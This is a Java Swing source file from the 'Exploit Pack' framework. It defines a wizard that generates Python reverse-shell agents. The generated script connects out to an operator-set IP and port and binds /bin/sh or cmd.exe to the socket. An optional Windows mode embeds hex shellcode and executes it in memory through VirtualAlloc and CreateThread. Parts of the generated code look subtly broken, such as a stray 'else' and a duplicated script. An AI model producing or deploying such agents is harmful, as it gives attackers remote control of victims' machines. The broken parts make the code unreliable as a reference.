package exploitpack;
import java.awt.Color;
import java.awt.Toolkit;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.Inet4Address;
import java.net.UnknownHostException;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author jsacco
*/
public class ShellWizard extends javax.swing.JFrame {
/**
* Creates new form ratWizard
*/
public ShellWizard() {
try {
initComponents();
int lebar = this.getWidth() / 2;
int tinggi = this.getHeight() / 2;
int x = (Toolkit.getDefaultToolkit().getScreenSize().width / 2) - lebar;
int y = (Toolkit.getDefaultToolkit().getScreenSize().height / 2) - tinggi;
this.setLocation(x, y);
this.setVisible(true);
setDefaultCloseOperation(ExploitWizard.DISPOSE_ON_CLOSE);
getContentPane().setBackground(Color.WHITE);
setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
jTextFieldRatIP.setText(Inet4Address.getLocalHost().getHostAddress());
if (new File("exploits/rockyou").exists()) {
jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/uppro.png"))); // NOI18N
}
} catch (UnknownHostException ex) {
Logger.getLogger(ShellWizard.class.getName()).log(Level.SEVERE, null, ex);
}
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// //GEN-BEGIN:initComponents
private void initComponents() {
jTextField3 = new javax.swing.JTextField();
jTextField5 = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
jSeparator1 = new javax.swing.JSeparator();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
jLabel8 = new javax.swing.JLabel();
jCheckBoxShellcode = new javax.swing.JCheckBox();
jLabel9 = new javax.swing.JLabel();
jLabel10 = new javax.swing.JLabel();
jTextFieldRatName = new javax.swing.JTextField();
jTextFieldRatIP = new javax.swing.JTextField();
jTextFieldRatPort = new javax.swing.JTextField();
jRadioButtonLinuxMac = new javax.swing.JRadioButton();
jRadioButtonWindows = new javax.swing.JRadioButton();
jTextField3.setText("jTextField1");
jTextField5.setText("jTextField1");
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Exploit Pack - Reverse Shell");
setResizable(false);
jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/up.png"))); // NOI18N
jButton1.setText("Cancel");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Next");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jButton3.setText("Back");
jButton3.setEnabled(false);
jLabel2.setText("This shell wizard helps you create a personalized agent to use within Exploit Pack.
The created script could include a custom shellcode
and it can be converted into an executable file.");
jLabel3.setText("Shell Name:");
jLabel4.setText("Platform:");
jLabel5.setText("Server IP:");
jLabel6.setText("Server Port:");
jLabel7.setText("Include Shellcode:");
jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1424526168_Shell-run-icon.png"))); // NOI18N
jCheckBoxShellcode.setText("ByteArray Mode");
jLabel9.setText("(Only Windows)");
jLabel9.setEnabled(false);
jLabel10.setText("A remote reverse shell tool (a RSHELL) is a piece of software that allows a remote
\"operator\" to control a system as if he has physical access directly on it.");
jTextFieldRatName.setText("File Name");
jTextFieldRatIP.setText("127.0.0.1");
jTextFieldRatPort.setText("1234");
jRadioButtonLinuxMac.setSelected(true);
jRadioButtonLinuxMac.setText("Linux / Mac");
jRadioButtonLinuxMac.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jRadioButtonLinuxMacActionPerformed(evt);
}
});
jRadioButtonWindows.setText("Windows");
jRadioButtonWindows.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jRadioButtonWindowsMouseClicked(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator1)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jButton3)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jButton1))
.addComponent(jLabel1, javax.swing.GroupLayout.Alignment.TRAILING)))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addGroup(layout.createSequentialGroup()
.addGap(33, 33, 33)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel9)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
.addComponent(jLabel7)
.addGap(18, 18, 18)
.addComponent(jCheckBoxShellcode)))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel6)
.addGap(18, 18, 18)
.addComponent(jTextFieldRatPort, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(36, 36, 36)
.addComponent(jRadioButtonLinuxMac)
.addGap(18, 18, 18)
.addComponent(jRadioButtonWindows))
.addGroup(layout.createSequentialGroup()
.addGap(35, 35, 35)
.addComponent(jTextFieldRatIP, javax.swing.GroupLayout.PREFERRED_SIZE, 190, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel3)
.addGap(18, 18, 18)
.addComponent(jTextFieldRatName, javax.swing.GroupLayout.PREFERRED_SIZE, 232, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel8)
.addGap(24, 24, 24))
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addGap(0, 0, Short.MAX_VALUE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(0, 0, 0)
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(35, 35, 35)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextFieldRatName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4)
.addComponent(jRadioButtonLinuxMac)
.addComponent(jRadioButtonWindows))
.addGap(16, 16, 16)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextFieldRatIP, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5))
.addGap(13, 13, 13)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextFieldRatPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel7)
.addComponent(jCheckBoxShellcode))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel9)
.addGap(18, 18, Short.MAX_VALUE)
.addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3)))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel8)
.addGap(0, 120, Short.MAX_VALUE)))
.addContainerGap())
);
jLabel2.getAccessibleContext().setAccessibleName("This shell wizard helps you create your personalized agent to use with Exploit Pack.
The created script, if needed, could include also a custom shellcode
and converted into an executable file.");
pack();
setLocationRelativeTo(null);
}// //GEN-END:initComponents
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
dispose();
}//GEN-LAST:event_jButton1ActionPerformed
private void jRadioButtonWindowsMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jRadioButtonWindowsMouseClicked
// TODO add your handling code here:
jRadioButtonLinuxMac.setSelected(false);
}//GEN-LAST:event_jRadioButtonWindowsMouseClicked
private void jRadioButtonLinuxMacActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButtonLinuxMacActionPerformed
// TODO add your handling code here:
jRadioButtonWindows.setSelected(false);
}//GEN-LAST:event_jRadioButtonLinuxMacActionPerformed
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
// TODO add your handling code here:
try {
// Create file
FileWriter fstream = new FileWriter("output/" + jTextFieldRatName.getText() + ".py");
BufferedWriter out = new BufferedWriter(fstream);
if (jRadioButtonLinuxMac.isSelected()) {
out.append("# Shell Script created using Exploit Pack\r\n");
out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
out.append("import socket,subprocess,errno,time,os,signal,sys\r\n\r\n");
out.append("class Agent:\r\n");
out.append(" def __init__(self, target, port):\r\n");
out.append(" self.hostname = target\r\n");
out.append(" self.port = int(port)\r\n");
out.append(" def run_worker(self):\r\n");
out.append(" while True:\r\n");
out.append(" try:\r\n");
out.append(" print \"[*] Poking server\"\r\n");
out.append(" self.poke()\r\n");
out.append(" except Exception,exc:\r\n");
out.append(" time.sleep(2)\r\n");
out.append(" else:\r\n");
out.append(" print \"[*] Hello Server\"\r\n");
out.append(" else:\r\n");
out.append(" raise\r\n");
out.append(" def poke(self):\r\n");
out.append(" whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
out.append(" time.sleep(1)\r\n");
out.append(" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" s.connect((self.hostname, self.port))\r\n");
out.append(" s.sendall(whoami)\r\n");
out.append(" data = s.recv(1024)\r\n");
out.append(" split = data.split(\":\")\r\n");
out.append(" if whoami == split[0]:\r\n");
out.append(" print \"[*] Connecting\"\r\n");
out.append(" sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" sterminal.connect((self.hostname, int(split[1])))\r\n");
out.append(" os.dup2(sterminal.fileno(), 0)\r\n");
out.append(" os.dup2(sterminal.fileno(), 1)\r\n");
out.append(" os.dup2(sterminal.fileno(), 2)\r\n");
out.append(" subprocess.call([\"/bin/sh\", \"-i\"])\r\n");
out.append(" s.close()\r\n");
out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
out.append("new = Agent(hostname, port)\r\n");
out.append("new.run_worker()\r\n");
} else {
out.append("# Shell Script created using Exploit Pack\r\n");
out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
out.append("import socket,subprocess,errno,time,os,signal,sys\r\n\r\n");
out.append("class Agent:\r\n");
out.append(" def __init__(self, target, port):\r\n");
out.append(" self.hostname = target\r\n");
out.append(" self.port = int(port)\r\n");
out.append(" def run_worker(self):\r\n");
out.append(" while True:\r\n");
out.append(" try:\r\n");
out.append(" print \"[*] Poking server\"\r\n");
out.append(" self.poke()\r\n");
out.append(" except Exception,exc:\r\n");
out.append(" time.sleep(2)\r\n");
out.append(" else:\r\n");
out.append(" print \"[*] Hello Server\"\r\n");
out.append(" else:\r\n");
out.append(" raise\r\n");
out.append(" def poke(self):\r\n");
out.append(" whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
out.append(" time.sleep(1)\r\n");
out.append(" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" s.connect((self.hostname, self.port))\r\n");
out.append(" s.sendall(whoami)\r\n");
out.append(" data = s.recv(1024)\r\n");
out.append(" split = data.split(\":\")\r\n");
out.append(" if whoami == split[0]:\r\n");
out.append(" print \"[*] Connecting\"\r\n");
out.append(" sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" sterminal.connect((self.hostname, int(split[1])))\r\n");
out.append(" os.dup2(sterminal.fileno(), 0)\r\n");
out.append(" os.dup2(sterminal.fileno(), 1)\r\n");
out.append(" os.dup2(sterminal.fileno(), 2)\r\n");
out.append(" subprocess.call([\"cmd /c start cmd.exe\", \"-i\"])\r\n");
out.append(" s.close()\r\n");
out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
out.append("new = Agent(hostname, port)\r\n");
out.append("new.run_worker()\r\n");
if (jCheckBoxShellcode.isSelected()) {
out.append("# Shell Script created using Exploit Pack\r\n");
out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
out.append("import socket,subprocess,errno,time,os,signal,sys,ctypes\r\n\r\n");
out.append("class Agent:\r\n");
out.append(" def __init__(self, target, port):\r\n");
out.append(" self.hostname = target\r\n");
out.append(" self.port = int(port)\r\n");
out.append(" def run_worker(self):\r\n");
out.append(" self.shellcode()\r\n");
out.append(" while True:\r\n");
out.append(" try:\r\n");
out.append(" print \"[*] Poking server\"\r\n");
out.append(" self.poke()\r\n");
out.append(" except Exception,exc:\r\n");
out.append(" time.sleep(2)\r\n");
out.append(" else:\r\n");
out.append(" print \"[*] Hello Server\"\r\n");
out.append(" else:\r\n");
out.append(" raise\r\n");
out.append(" def poke(self):\r\n");
out.append(" whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
out.append(" time.sleep(1)\r\n");
out.append(" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" s.connect((self.hostname, self.port))\r\n");
out.append(" s.sendall(whoami)\r\n");
out.append(" data = s.recv(1024)\r\n");
out.append(" split = data.split(\":\")\r\n");
out.append(" if whoami == split[0]:\r\n");
out.append(" print \"[*] Connecting\"\r\n");
out.append(" sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
out.append(" sterminal.connect((self.hostname, int(split[1])))\r\n");
out.append(" os.dup2(sterminal.fileno(), 0)\r\n");
out.append(" os.dup2(sterminal.fileno(), 1)\r\n");
out.append(" os.dup2(sterminal.fileno(), 2)\r\n");
out.append(" subprocess.call([\"cmd /c start cmd.exe\", \"-i\"])\r\n");
out.append(" s.close()\r\n");
out.append(" def shellcode(self):\r\n");
out.append(" print \"[*] Executing Shellcode\"\r\n");
String Shellcode = "\\xFC\\x33\\xD2\\xB2\\x30\\x64\\xFF\\x32\\x5A\\x8B\\x52\\x0C\\x8B\\x52\\x14\\x8B\\x72\\x28\\x33\\xC9\\xB1\\x18\\x33\\xFF\\x33\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\xC1\\xCF\\x0D\\x03\\xF8\\xE2\\xF0\\x81\\xFF\\x5B\\xBC\\x4A\\x6A\\x8B\\x5A\\x10\\x8B\\x12\\x75\\xDA\\x8B\\x53\\x3C\\x03\\xD3\\xFF\\x72\\x34\\x8B\\x52\\x78\\x03\\xD3\\x8B\\x72\\x20\\x03\\xF3\\x33\\xC9\\x41\\xAD\\x03\\xC3\\x81\\x38\\x47\\x65\\x74\\x50\\x75\\xF4\\x81\\x78\\x04\\x72\\x6F\\x63\\x41\\x75\\xEB\\x81\\x78\\x08\\x64\\x64\\x72\\x65\\x75\\xE2\\x49\\x8B\\x72\\x24\\x03\\xF3\\x66\\x8B\\x0C\\x4E\\x8B\\x72\\x1C\\x03\\xF3\\x8B\\x14\\x8E\\x03\\xD3\\x52\\x68\\x78\\x65\\x63\\x01\\xFE\\x4C\\x24\\x03\\x68\\x57\\x69\\x6E\\x45\\x54\\x53\\xFF\\xD2\\x68\\x63\\x6D\\x64\\x01\\xFE\\x4C\\x24\\x03\\x6A\\x05\\x33\\xC9\\x8D\\x4C\\x24\\x04\\x51\\xFF\\xD0\\x68\\x65\\x73\\x73\\x01\\x8B\\xDF\\xFE\\x4C\\x24\\x03\\x68\\x50\\x72\\x6F\\x63\\x68\\x45\\x78\\x69\\x74\\x54\\xFF\\x74\\x24\\x20\\xFF\\x54\\x24\\x20\\x57\\xFF\\xD0";
out.append(" shellcode = bytearray(\"" + Shellcode + "\")\r\n");
out.append(" ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\r\n");
out.append(" buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)\r\n");
out.append(" ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))\r\n");
out.append(" ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))\r\n");
out.append(" ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\r\n");
out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
out.append("new = Agent(hostname, port)\r\n");
out.append("new.run_worker()\r\n");
}
}
//Close the output stream
out.close();
} catch (IOException e1) {
System.err.println("Error: " + e1.getMessage());
}
String rat[] = {jTextFieldRatName.getText()};
dispose();
ShellWizard2.main(rat);
}//GEN-LAST:event_jButton2ActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//
//
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ShellWizard().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JCheckBox jCheckBoxShellcode;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JRadioButton jRadioButtonLinuxMac;
private javax.swing.JRadioButton jRadioButtonWindows;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField5;
private javax.swing.JTextField jTextFieldRatIP;
private javax.swing.JTextField jTextFieldRatName;
private javax.swing.JTextField jTextFieldRatPort;
// End of variables declaration//GEN-END:variables
}